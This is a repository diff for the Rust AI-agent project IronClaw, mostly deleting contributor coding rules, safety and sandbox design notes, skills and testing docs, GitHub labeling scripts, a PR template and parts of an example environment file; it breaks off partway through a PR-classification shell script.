**Zero clippy warnings policy:** Fix ALL clippy warnings before committing, including pre-existing ones in files you didn't change. Never leave warnings behind.
|
||||
|
||||
**Transaction safety:** Multi-step database operations (INSERT+INSERT, UPDATE+DELETE, read-then-write) MUST be wrapped in a transaction. Never assume sequential calls are atomic. This applies to both postgres and libsql backends.
|
||||
|
||||
**UTF-8 string safety:** Never use byte-index slicing (`&s[..n]`) on user-supplied or external strings -- it panics on multi-byte characters. Use `is_char_boundary()` or `char_indices()`. Grep for `[..` in changed files.
|
||||
|
||||
**Case-insensitive comparisons:** When comparing user-supplied strings (file paths, media types, extension names), normalize to lowercase with `.to_ascii_lowercase()`. Path comparisons must be case-insensitive on macOS/Windows.
|
||||
|
||||
**Decorator/wrapper trait delegation:** When adding a new method to `LlmProvider` (or any trait with decorator wrappers), update ALL wrapper types to delegate. Grep for `impl LlmProvider for` to find all implementations. Test through the full provider chain.
|
||||
|
||||
**Sensitive data in logs & events:** Tool parameters and outputs MUST be redacted before logging or broadcasting via SSE/WebSocket. Use `redact_params()` before any `tracing::info!`, `JobEvent`, or SSE emission that includes tool call data.
|
||||
|
||||
**Test temporary files:** Use the `tempfile` crate. Never hardcode `/tmp/...` paths.
|
||||
|
||||
**Trust boundaries in multi-process architecture:** Data from worker containers is untrusted. The orchestrator MUST validate: tool domain, nesting depth (server-side tracking), and parameter sensitivity.
|
||||
|
||||
**Mechanical verification before committing:**
|
||||
- `cargo clippy --all --benches --tests --examples --all-features` -- zero warnings
|
||||
- `grep -rnE '\.unwrap\(|\.expect\(' <files>` -- no panics in production
|
||||
- `grep -rn 'super::' <files>` -- prefer `crate::` for cross-module imports (`super::` OK in tests/intra-module)
|
||||
- If you fixed a pattern bug, `grep` for other instances across `src/`
|
||||
- Run `scripts/pre-commit-safety.sh` to catch UTF-8, case-sensitivity, hardcoded /tmp, and logging issues
|
||||
@@ -1,34 +0,0 @@
|
||||
---
|
||||
paths:
|
||||
- "src/safety/**"
|
||||
- "src/sandbox/**"
|
||||
- "src/secrets/**"
|
||||
- "src/tools/wasm/**"
|
||||
---
|
||||
# Safety Layer & Sandbox Rules
|
||||
|
||||
## Safety Layer
|
||||
|
||||
All external tool output passes through `SafetyLayer`:
|
||||
1. **Sanitizer** - Detects injection patterns, escapes dangerous content
|
||||
2. **Validator** - Checks length, encoding, forbidden patterns
|
||||
3. **Policy** - Rules with severity (Critical/High/Medium/Low) and actions (Block/Warn/Review/Sanitize)
|
||||
4. **Leak Detector** - Scans for 15+ secret patterns at two points: tool output before LLM, and LLM responses before user
|
||||
|
||||
Tool outputs are wrapped in `<tool_output>` XML before reaching the LLM.
|
||||
|
||||
## Shell Environment Scrubbing
|
||||
|
||||
The shell tool scrubs sensitive env vars before executing commands. The sanitizer detects command injection patterns (chained commands, subshells, path traversal).
|
||||
|
||||
## Sandbox Policies
|
||||
|
||||
| Policy | Filesystem | Network |
|
||||
|--------|-----------|---------|
|
||||
| ReadOnly | Read-only workspace | Allowlisted domains |
|
||||
| WorkspaceWrite | Read-write workspace | Allowlisted domains |
|
||||
| FullAccess | Full filesystem | Unrestricted |
|
||||
|
||||
## Zero-Exposure Credential Model
|
||||
|
||||
Secrets are stored encrypted on the host and injected into HTTP requests by the proxy at transit time. Container processes never see raw credential values.
|
||||
@@ -1,56 +0,0 @@
|
||||
---
|
||||
paths:
|
||||
- "src/skills/**"
|
||||
- "skills/**"
|
||||
---
|
||||
# Skills System
|
||||
|
||||
SKILL.md files extend the agent's prompt with domain-specific instructions. Each skill is a YAML frontmatter block (metadata, activation criteria, required tools) followed by a markdown body injected into the LLM context.
|
||||
|
||||
## Trust Model
|
||||
|
||||
| Trust Level | Source | Tool Access |
|
||||
|-------------|--------|-------------|
|
||||
| **Trusted** | User-placed in `~/.ironclaw/skills/` or workspace `skills/` | All tools available to the agent |
|
||||
| **Installed** | Downloaded from ClawHub registry (`~/.ironclaw/installed_skills/`) | Read-only tools only (no shell, file write, HTTP) |
|
||||
|
||||
## SKILL.md Format
|
||||
|
||||
```yaml
|
||||
---
|
||||
name: my-skill
|
||||
version: 0.1.0
|
||||
description: Does something useful
|
||||
activation:
|
||||
patterns:
|
||||
- "deploy to.*production"
|
||||
keywords:
|
||||
- "deployment"
|
||||
exclude_keywords:
|
||||
- "rollback"
|
||||
tags:
|
||||
- "devops"
|
||||
max_context_tokens: 2000
|
||||
metadata:
|
||||
openclaw:
|
||||
requires:
|
||||
bins: [docker, kubectl]
|
||||
env: [KUBECONFIG]
|
||||
---
|
||||
|
||||
# Skill instructions here...
|
||||
```
|
||||
|
||||
## Selection Pipeline
|
||||
|
||||
1. **Gating** -- Check binary/env/config requirements; skip skills whose prerequisites are missing
|
||||
2. **Scoring** -- Deterministic scoring: keywords (10/5 pts, cap 30) + patterns (20 pts, cap 40) + tags (3 pts, cap 15). `exclude_keywords` veto (score = 0 if any present)
|
||||
3. **Budget** -- Select top-scoring skills within `SKILLS_MAX_TOKENS` prompt budget
|
||||
4. **Attenuation** -- Minimum trust across active skills determines tool ceiling; installed skills lose dangerous tools
|
||||
|
||||
## Skill Tools
|
||||
|
||||
- `skill_list` -- List all discovered skills with trust level and status
|
||||
- `skill_search` -- Search ClawHub registry for available skills
|
||||
- `skill_install` -- Download and install a skill from ClawHub
|
||||
- `skill_remove` -- Remove an installed skill
|
||||
@@ -1,25 +0,0 @@
|
||||
---
|
||||
paths:
|
||||
- "src/**/*.rs"
|
||||
- "tests/**"
|
||||
---
|
||||
# Testing Rules
|
||||
|
||||
## Test Tiers
|
||||
|
||||
| Tier | Command | External deps |
|
||||
|------|---------|---------------|
|
||||
| Unit | `cargo test` | None |
|
||||
| Integration | `cargo test --features integration` | Running PostgreSQL |
|
||||
| Live | `cargo test --features integration -- --ignored` | PostgreSQL + LLM API keys |
|
||||
|
||||
Run `bash scripts/check-boundaries.sh` to verify test tier gating.
|
||||
|
||||
## Key Patterns
|
||||
|
||||
- Unit tests in `mod tests {}` at the bottom of each file
|
||||
- Async tests with `#[tokio::test]`
|
||||
- No mocks, prefer real implementations or stubs
|
||||
- Use `tempfile` crate for test directories, never hardcode `/tmp/`
|
||||
- Regression test with every bug fix (enforced by commit-msg hook)
|
||||
- Integration tests (`--test workspace_integration`) require PostgreSQL; skipped if DB is unreachable
|
||||
@@ -1,39 +0,0 @@
|
||||
---
|
||||
paths:
|
||||
- "src/tools/**"
|
||||
- "tools-src/**"
|
||||
---
|
||||
# Tool Architecture
|
||||
|
||||
**Keep tool-specific logic out of the main agent codebase.** The main agent provides generic infrastructure; tools are self-contained units that declare requirements through `<name>.capabilities.json` sidecar files (in dev mode: `tools-src/<name>/<name>-tool.capabilities.json`).
|
||||
|
||||
Tools can be WASM (sandboxed, credential-injected, single binary) or MCP servers (ecosystem, any language, no sandbox). Both are first-class via `ironclaw tool install`.
|
||||
|
||||
See `src/tools/README.md` for full architecture, adding new tools, auth JSON examples, and WASM vs MCP decision guide.
|
||||
|
||||
## Tool Implementation Pattern
|
||||
|
||||
```rust
|
||||
#[async_trait]
|
||||
impl Tool for MyTool {
|
||||
fn name(&self) -> &str { "my_tool" }
|
||||
fn description(&self) -> &str { "Does something useful" }
|
||||
fn parameters_schema(&self) -> serde_json::Value {
|
||||
serde_json::json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"param": { "type": "string", "description": "A parameter" }
|
||||
},
|
||||
"required": ["param"]
|
||||
})
|
||||
}
|
||||
async fn execute(&self, params: serde_json::Value, ctx: &JobContext)
|
||||
-> Result<ToolOutput, ToolError>
|
||||
{
|
||||
let start = std::time::Instant::now();
|
||||
// ... do work ...
|
||||
Ok(ToolOutput::text("result", start.elapsed()))
|
||||
}
|
||||
fn requires_sanitization(&self) -> bool { true } // External data
|
||||
}
|
||||
```
|
||||
+7
-106
@@ -2,86 +2,14 @@
|
||||
DATABASE_URL=postgres://localhost/ironclaw
|
||||
DATABASE_POOL_SIZE=10
|
||||
|
||||
# LLM Provider
|
||||
# LLM_BACKEND=nearai # default
|
||||
# Possible values: nearai, ollama, openai_compatible, openai, anthropic, tinfoil
|
||||
# LLM_REQUEST_TIMEOUT_SECS=120 # Increase for local LLMs (Ollama, vLLM, LM Studio)
|
||||
|
||||
# === Anthropic Direct ===
|
||||
# Two auth modes:
|
||||
# 1. API key: Set ANTHROPIC_API_KEY (from console.anthropic.com/settings/keys)
|
||||
# 2. OAuth token: Set ANTHROPIC_OAUTH_TOKEN (from `claude login`)
|
||||
# OAuth tokens use Authorization: Bearer instead of x-api-key header.
|
||||
# ANTHROPIC_API_KEY=sk-ant-...
|
||||
# ANTHROPIC_OAUTH_TOKEN=sk-ant-oat01-... # from `claude login` credentials
|
||||
# ANTHROPIC_MODEL=claude-sonnet-4-20250514
|
||||
|
||||
# === OpenAI Direct ===
|
||||
# OPENAI_API_KEY=sk-...
|
||||
|
||||
# === NEAR AI (Chat Completions API) ===
|
||||
# Two auth modes:
|
||||
# 1. Session token (default): Uses browser OAuth (GitHub/Google) on first run.
|
||||
# Session token stored in ~/.ironclaw/session.json automatically.
|
||||
# Base URL defaults to https://private.near.ai
|
||||
# 2. API key: Set NEARAI_API_KEY to use API key auth from cloud.near.ai.
|
||||
# Base URL defaults to https://cloud-api.near.ai
|
||||
NEARAI_MODEL=zai-org/GLM-5-FP8
|
||||
NEARAI_BASE_URL=https://private.near.ai
|
||||
# LLM Provider (NEAR AI)
|
||||
# NEAR AI provides a unified interface to all models with user authentication
|
||||
# Session token is stored in ~/.ironclaw/session.json and managed automatically.
|
||||
# On first run, the agent will open a browser for OAuth authentication.
|
||||
NEARAI_MODEL=claude-3-5-sonnet-20241022
|
||||
NEARAI_BASE_URL=https://cloud-api.near.ai
|
||||
NEARAI_AUTH_URL=https://private.near.ai
|
||||
# NEARAI_SESSION_TOKEN=sess_... # hosting providers: set this
|
||||
# NEARAI_SESSION_PATH=~/.ironclaw/session.json # optional, default shown
|
||||
# NEARAI_API_KEY=... # API key from cloud.near.ai
|
||||
|
||||
# Local LLM Providers (Ollama, LM Studio, vLLM, LiteLLM)
|
||||
|
||||
# === Ollama ===
|
||||
# OLLAMA_MODEL=llama3.2
|
||||
# LLM_BACKEND=ollama
|
||||
# OLLAMA_BASE_URL=http://localhost:11434 # default
|
||||
|
||||
# === OpenAI-compatible (LM Studio, vLLM, Anything-LLM) ===
|
||||
# LLM_MODEL=llama-3.2-3b-instruct-q4_K_M
|
||||
# LLM_BACKEND=openai_compatible
|
||||
# LLM_BASE_URL=http://localhost:1234/v1
|
||||
# LLM_API_KEY=sk-... # optional for local servers
|
||||
# Custom HTTP headers for OpenAI-compatible providers
|
||||
# Format: comma-separated key:value pairs
|
||||
# LLM_EXTRA_HEADERS=HTTP-Referer:https://github.com/nearai/ironclaw,X-Title:ironclaw
|
||||
|
||||
# === OpenRouter (300+ models via OpenAI-compatible) ===
|
||||
# LLM_MODEL=anthropic/claude-sonnet-4 # see openrouter.ai/models for IDs
|
||||
# LLM_BACKEND=openai_compatible
|
||||
# LLM_BASE_URL=https://openrouter.ai/api/v1
|
||||
# LLM_API_KEY=sk-or-...
|
||||
|
||||
# LLM_EXTRA_HEADERS=HTTP-Referer:https://myapp.com,X-Title:MyApp
|
||||
|
||||
|
||||
# === Together AI (via OpenAI-compatible) ===
|
||||
# LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo
|
||||
# LLM_BACKEND=openai_compatible
|
||||
# LLM_BASE_URL=https://api.together.xyz/v1
|
||||
# LLM_API_KEY=...
|
||||
|
||||
# === Fireworks AI (via OpenAI-compatible) ===
|
||||
# LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic
|
||||
# LLM_BACKEND=openai_compatible
|
||||
# LLM_BASE_URL=https://api.fireworks.ai/inference/v1
|
||||
# LLM_API_KEY=fw_...
|
||||
|
||||
# === Anthropic Direct ===
|
||||
# LLM_BACKEND=anthropic
|
||||
# ANTHROPIC_MODEL=claude-sonnet-4-6
|
||||
# ANTHROPIC_API_KEY=sk-ant-...
|
||||
# ANTHROPIC_BASE_URL=https://api.anthropic.com # default
|
||||
# Prompt cache retention — controls Anthropic server-side prompt caching:
|
||||
# none = disabled (no cache_control injected)
|
||||
# short = 5-minute TTL, 1.25× (125%) write surcharge (default)
|
||||
# long = 1-hour TTL, 2.0× (200%) write surcharge
|
||||
# ANTHROPIC_CACHE_RETENTION=short
|
||||
|
||||
# For full provider setup guide see docs/LLM_PROVIDERS.md
|
||||
# NEARAI_SESSION_PATH=~/.ironclaw/session.json # optional, default shown
|
||||
|
||||
# Channel Configuration
|
||||
# CLI is always enabled
|
||||
@@ -99,24 +27,11 @@ HTTP_HOST=0.0.0.0
|
||||
HTTP_PORT=8080
|
||||
HTTP_WEBHOOK_SECRET=your-webhook-secret
|
||||
|
||||
# Signal Channel (optional, requires signal-cli daemon --http)
|
||||
# SIGNAL_HTTP_URL=http://127.0.0.1:8080
|
||||
# SIGNAL_ACCOUNT=+1234567890
|
||||
# SIGNAL_ALLOW_FROM=+1234567890,uuid:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx # comma-separated, * for all, empty = deny/require pairing
|
||||
# SIGNAL_ALLOW_FROM_GROUPS= # comma-separated group IDs, * for all, empty = deny all groups
|
||||
# SIGNAL_DM_POLICY=pairing # open | allowlist | pairing
|
||||
# SIGNAL_GROUP_POLICY=allowlist # allowlist | open | disabled
|
||||
# SIGNAL_GROUP_ALLOW_FROM= # comma-separated, empty = inherit from ALLOW_FROM
|
||||
# SIGNAL_IGNORE_ATTACHMENTS=false
|
||||
# SIGNAL_IGNORE_STORIES=true
|
||||
|
||||
# Agent Settings
|
||||
AGENT_NAME=ironclaw
|
||||
AGENT_MAX_PARALLEL_JOBS=5
|
||||
AGENT_JOB_TIMEOUT_SECS=3600
|
||||
AGENT_STUCK_THRESHOLD_SECS=300
|
||||
# Maximum tokens per job (0 = unlimited, also settable via settings.json agent.max_tokens_per_job)
|
||||
# AGENT_MAX_TOKENS_PER_JOB=0
|
||||
# Enable planning phase before tool execution (default: true)
|
||||
AGENT_USE_PLANNING=true
|
||||
|
||||
@@ -131,23 +46,9 @@ HEARTBEAT_INTERVAL_SECS=1800
|
||||
HEARTBEAT_NOTIFY_CHANNEL=cli
|
||||
HEARTBEAT_NOTIFY_USER=default
|
||||
|
||||
# Memory hygiene settings (automatic cleanup of stale workspace documents)
|
||||
# Runs on each heartbeat tick; identity files (IDENTITY.md, SOUL.md) are never deleted
|
||||
# MEMORY_HYGIENE_ENABLED=true
|
||||
# MEMORY_HYGIENE_DAILY_RETENTION_DAYS=30 # delete daily/ docs older than this many days
|
||||
# MEMORY_HYGIENE_CONVERSATION_RETENTION_DAYS=7 # delete conversations/ docs older than this many days
|
||||
# MEMORY_HYGIENE_CADENCE_HOURS=12 # minimum hours between cleanup passes
|
||||
|
||||
# Safety settings
|
||||
SAFETY_MAX_OUTPUT_LENGTH=100000
|
||||
SAFETY_INJECTION_CHECK_ENABLED=true
|
||||
|
||||
# Restart Feature (Docker containers only)
|
||||
# Set IRONCLAW_IN_DOCKER=true in the container entrypoint to enable the restart feature.
|
||||
# Without this, the restart tool and /restart command will be disabled.
|
||||
# IRONCLAW_IN_DOCKER=false
|
||||
# IRONCLAW_RESTART_DELAY=5 # default wait before exit (seconds, range: 1-30)
|
||||
# IRONCLAW_MAX_FAILURES=10 # max consecutive failures before container exits
|
||||
|
||||
# Logging
|
||||
RUST_LOG=ironclaw=debug,tower_http=debug
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
tests/test-pages/**/*.html linguist-generated=true
|
||||
@@ -1 +0,0 @@
|
||||
../scripts/commit-msg-regression.sh
|
||||
@@ -1,24 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Pre-commit hook: run version bump checks when WIT or extension sources change.
|
||||
# Install: git config core.hooksPath .githooks
|
||||
|
||||
# Only run the check if relevant files are staged
|
||||
STAGED=$(git diff --cached --name-only)
|
||||
|
||||
NEEDS_CHECK=false
|
||||
if echo "$STAGED" | grep -qE '^wit/|^channels-src/|^tools-src/'; then
|
||||
NEEDS_CHECK=true
|
||||
fi
|
||||
|
||||
if $NEEDS_CHECK; then
|
||||
echo "pre-commit: checking version bumps..."
|
||||
if ! ./scripts/check-version-bumps.sh; then
|
||||
echo ""
|
||||
echo "Commit blocked: version bump check failed."
|
||||
echo "Bump versions in the relevant registry JSON and/or WIT package declaration."
|
||||
echo "To bypass: git commit --no-verify"
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
@@ -1,166 +0,0 @@
|
||||
# Scope labels for actions/labeler@v6
|
||||
# Maps file path globs to scope labels. Multiple labels can apply per PR.
|
||||
|
||||
"scope: agent":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/agent/**
|
||||
|
||||
"scope: channel":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/channels/channel.rs
|
||||
- src/channels/manager.rs
|
||||
- src/channels/mod.rs
|
||||
|
||||
"scope: channel/cli":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/channels/cli/**
|
||||
- src/cli/**
|
||||
|
||||
"scope: channel/web":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/channels/web/**
|
||||
|
||||
"scope: channel/wasm":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/channels/wasm/**
|
||||
|
||||
"scope: tool":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/tools/tool.rs
|
||||
- src/tools/registry.rs
|
||||
- src/tools/mod.rs
|
||||
- src/tools/sandbox.rs
|
||||
|
||||
"scope: tool/builtin":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/tools/builtin/**
|
||||
|
||||
"scope: tool/wasm":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/tools/wasm/**
|
||||
|
||||
"scope: tool/mcp":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/tools/mcp/**
|
||||
|
||||
"scope: tool/builder":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/tools/builder/**
|
||||
|
||||
"scope: db":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/db/mod.rs
|
||||
|
||||
"scope: db/postgres":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/db/postgres.rs
|
||||
- migrations/**
|
||||
|
||||
"scope: db/libsql":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/db/libsql_backend.rs
|
||||
- src/db/libsql_migrations.rs
|
||||
|
||||
"scope: safety":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/safety/**
|
||||
|
||||
"scope: llm":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/llm/**
|
||||
|
||||
"scope: workspace":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/workspace/**
|
||||
|
||||
"scope: orchestrator":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/orchestrator/**
|
||||
|
||||
"scope: worker":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/worker/**
|
||||
|
||||
"scope: secrets":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/secrets/**
|
||||
|
||||
"scope: config":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/config.rs
|
||||
- src/settings.rs
|
||||
|
||||
"scope: extensions":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/extensions/**
|
||||
|
||||
"scope: setup":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/setup/**
|
||||
|
||||
"scope: evaluation":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/evaluation/**
|
||||
|
||||
"scope: estimation":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/estimation/**
|
||||
|
||||
"scope: sandbox":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/sandbox/**
|
||||
- Dockerfile*
|
||||
|
||||
"scope: hooks":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/hooks/**
|
||||
|
||||
"scope: pairing":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- src/pairing/**
|
||||
|
||||
"scope: ci":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- .github/workflows/**
|
||||
- .github/scripts/**
|
||||
|
||||
"scope: docs":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- "**/*.md"
|
||||
- docs/**
|
||||
- LICENSE*
|
||||
|
||||
"scope: dependencies":
|
||||
- changed-files:
|
||||
- any-glob-to-any-file:
|
||||
- Cargo.toml
|
||||
- Cargo.lock
|
||||
@@ -1,50 +0,0 @@
|
||||
## Summary
|
||||
|
||||
<!-- 2-5 bullet points: what changed and why -->
|
||||
|
||||
-
|
||||
|
||||
## Change Type
|
||||
|
||||
<!-- Check one -->
|
||||
|
||||
- [ ] Bug fix
|
||||
- [ ] New feature
|
||||
- [ ] Refactor
|
||||
- [ ] Documentation
|
||||
- [ ] CI/Infrastructure
|
||||
- [ ] Security
|
||||
- [ ] Dependencies
|
||||
|
||||
## Linked Issue
|
||||
|
||||
<!-- Closes #N, or "None" -->
|
||||
|
||||
## Validation
|
||||
|
||||
<!-- How did you verify this works? -->
|
||||
|
||||
- [ ] `cargo fmt`
|
||||
- [ ] `cargo clippy --all --benches --tests --examples --all-features`
|
||||
- [ ] Relevant tests pass: <!-- list specific tests -->
|
||||
- [ ] Manual testing: <!-- describe what you tested -->
|
||||
|
||||
## Security Impact
|
||||
|
||||
<!-- Does this change affect: permissions, network calls, secrets, file access, tool execution, sandbox policy? If yes, describe. If no, write "None". -->
|
||||
|
||||
## Database Impact
|
||||
|
||||
<!-- Does this add/modify migrations, change schema, or affect both PostgreSQL and libSQL? If yes, describe. If no, write "None". -->
|
||||
|
||||
## Blast Radius
|
||||
|
||||
<!-- What subsystems does this touch? What could break? -->
|
||||
|
||||
## Rollback Plan
|
||||
|
||||
<!-- How to revert if this causes problems? For Track C changes, this is mandatory. -->
|
||||
|
||||
---
|
||||
|
||||
**Review track**: <!-- A (docs/tests/chore) | B (feature/refactor) | C (security/runtime/DB/CI) -->
|
||||
@@ -1,74 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# Idempotent label bootstrap for IronClaw PR automation.
|
||||
# Uses `gh label create --force` so it can be re-run safely.
|
||||
#
|
||||
# Usage: bash .github/scripts/create-labels.sh
|
||||
# Requires: gh CLI authenticated with repo scope
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
if ! command -v gh &>/dev/null; then
|
||||
echo "Error: gh CLI is required. Install from https://cli.github.com" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
create() {
|
||||
local name="$1" color="$2" description="$3"
|
||||
gh label create "$name" --color "$color" --description "$description" --force
|
||||
}
|
||||
|
||||
echo "==> Creating size labels..."
|
||||
create "size: XS" "F9D0C4" "< 10 changed lines (excluding docs)"
|
||||
create "size: S" "F5A3A3" "10-49 changed lines"
|
||||
create "size: M" "E57373" "50-199 changed lines"
|
||||
create "size: L" "D32F2F" "200-499 changed lines"
|
||||
create "size: XL" "B71C1C" "500+ changed lines"
|
||||
|
||||
echo "==> Creating risk labels..."
|
||||
create "risk: low" "4CAF50" "Changes to docs, tests, or low-risk modules"
|
||||
create "risk: medium" "FFC107" "Business logic, config, or moderate-risk modules"
|
||||
create "risk: high" "F44336" "Safety, secrets, auth, or critical infrastructure"
|
||||
create "risk: manual" "9E9E9E" "Risk level set manually (sticky, not overwritten)"
|
||||
|
||||
echo "==> Creating scope labels..."
|
||||
create "scope: agent" "006B75" "Agent core (agent loop, router, scheduler)"
|
||||
create "scope: channel" "00838F" "Channel infrastructure"
|
||||
create "scope: channel/cli" "00897B" "TUI / CLI channel"
|
||||
create "scope: channel/web" "00796B" "Web gateway channel"
|
||||
create "scope: channel/wasm" "00695C" "WASM channel runtime"
|
||||
create "scope: tool" "1565C0" "Tool infrastructure"
|
||||
create "scope: tool/builtin" "1976D2" "Built-in tools"
|
||||
create "scope: tool/wasm" "1E88E5" "WASM tool sandbox"
|
||||
create "scope: tool/mcp" "2196F3" "MCP client"
|
||||
create "scope: tool/builder" "42A5F5" "Dynamic tool builder"
|
||||
create "scope: db" "4A148C" "Database trait / abstraction"
|
||||
create "scope: db/postgres" "6A1B9A" "PostgreSQL backend"
|
||||
create "scope: db/libsql" "7B1FA2" "libSQL / Turso backend"
|
||||
create "scope: safety" "880E4F" "Prompt injection defense"
|
||||
create "scope: llm" "4527A0" "LLM integration"
|
||||
create "scope: workspace" "283593" "Persistent memory / workspace"
|
||||
create "scope: orchestrator" "0D47A1" "Container orchestrator"
|
||||
create "scope: worker" "01579B" "Container worker"
|
||||
create "scope: secrets" "BF360C" "Secrets management"
|
||||
create "scope: config" "E65100" "Configuration"
|
||||
create "scope: extensions" "33691E" "Extension management"
|
||||
create "scope: setup" "827717" "Onboarding / setup"
|
||||
create "scope: evaluation" "558B2F" "Success evaluation"
|
||||
create "scope: estimation" "9E9D24" "Cost/time estimation"
|
||||
create "scope: sandbox" "00BFA5" "Docker sandbox"
|
||||
create "scope: hooks" "6D4C41" "Git/event hooks"
|
||||
create "scope: pairing" "4E342E" "Pairing mode"
|
||||
create "scope: ci" "546E7A" "CI/CD workflows"
|
||||
create "scope: docs" "78909C" "Documentation"
|
||||
create "scope: dependencies" "90A4AE" "Dependency updates"
|
||||
|
||||
echo "==> Creating workflow labels..."
|
||||
create "skip-regression-check" "9E9E9E" "Acknowledged: fix without regression test"
|
||||
|
||||
echo "==> Creating contributor labels..."
|
||||
create "contributor: new" "FFF9C4" "First-time contributor"
|
||||
create "contributor: regular" "FFE082" "2-5 merged PRs"
|
||||
create "contributor: experienced" "FFB74D" "6-19 merged PRs"
|
||||
create "contributor: core" "FF8A65" "20+ merged PRs"
|
||||
|
||||
echo "Done. All labels created/updated."
|
||||
@@ -1,139 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# Classify a PR by size, risk, and contributor tier.
|
||||
# Called by the pr-label-classify workflow.
|
||||
#
|
||||
# Inputs (env vars):
|
||||
# PR_NUMBER — pull request number
|
||||
# REPO — owner/repo (e.g. "user/ironclaw")
|
||||
#
|
||||
# Requires: gh CLI, jq
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
PR_NUMBER="${PR_NUMBER:?PR_NUMBER is required}"
|
||||
REPO="${REPO:?REPO is required}"
|
||||
|
||||
# ─── helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
# Remove all labels in a dimension except the desired one.
|
||||
# Usage: set_exclusive_label "size" "size: M"
|
||||
set_exclusive_label() {
|
||||
local prefix="$1" desired="$2"
|
||||
|
||||
# Fetch current labels on the PR
|
||||
local current
|
||||
current=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json labels --jq '.labels[].name')
|
||||
|
||||
# Remove any existing label with the same prefix
|
||||
while IFS= read -r label; do
|
||||
[[ -z "$label" ]] && continue
|
||||
if [[ "$label" == "${prefix}:"* && "$label" != "$desired" ]]; then
|
||||
gh pr edit "$PR_NUMBER" --repo "$REPO" --remove-label "$label" 2>/dev/null || true
|
||||
fi
|
||||
done <<< "$current"
|
||||
|
||||
# Add the desired label
|
||||
gh pr edit "$PR_NUMBER" --repo "$REPO" --add-label "$desired"
|
||||
}
|
||||
|
||||
# ─── size ───────────────────────────────────────────────────────────────────
|
||||
|
||||
classify_size() {
|
||||
# Sum changed lines across non-doc files
|
||||
local total
|
||||
total=$(gh api "repos/${REPO}/pulls/${PR_NUMBER}/files" \
|
||||
--paginate --jq '
|
||||
[.[] | select(.filename | test("\\.(md|txt|rst|adoc)$") | not) | .changes]
|
||||
| add // 0
|
||||
')
|
||||
|
||||
local label
|
||||
if (( total < 10 )); then label="size: XS"
|
||||
elif (( total < 50 )); then label="size: S"
|
||||
elif (( total < 200 )); then label="size: M"
|
||||
elif (( total < 500 )); then label="size: L"
|
||||
else label="size: XL"
|
||||
fi
|
||||
|
||||
echo "Size: ${total} changed lines -> ${label}"
|
||||
set_exclusive_label "size" "$label"
|
||||
}
|
||||
|
||||
# ─── risk ───────────────────────────────────────────────────────────────────
|
||||
|
||||
classify_risk() {
|
||||
# If "risk: manual" is present, skip — it's a sticky override
|
||||
local current
|
||||
current=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json labels --jq '.labels[].name')
|
||||
if echo "$current" | grep -qx "risk: manual"; then
|
||||
echo "Risk: skipped (manual override)"
|
||||
return
|
||||
fi
|
||||
|
||||
# Fetch changed file paths
|
||||
local files
|
||||
files=$(gh api "repos/${REPO}/pulls/${PR_NUMBER}/files" \
|
||||
--paginate --jq '.[].filename')
|
||||
|
||||
local risk="low"
|
||||
|
||||
while IFS= read -r file; do
|
||||
[[ -z "$file" ]] && continue
|
||||
|
||||
case "$file" in
|
||||
# High risk: safety, secrets, auth, crypto, setup, orchestrator auth
|
||||
src/safety/*|src/secrets/*|src/llm/session.rs|src/orchestrator/auth.rs|\
|
||||
src/channels/web/auth.rs|src/setup/*)
|
||||
risk="high"
|
||||
break # can't go higher
|
||||
;;
|
||||
|
||||
# Medium risk: agent core, config, database, worker, tools, channels
|
||||
src/agent/*|src/config.rs|src/settings.rs|src/db/*|src/worker/*|\
|
||||
src/tools/*|src/channels/*|src/orchestrator/*|src/context/*|\
|
||||
src/hooks/*|src/sandbox/*|src/extensions/*|Cargo.toml|\
|
||||
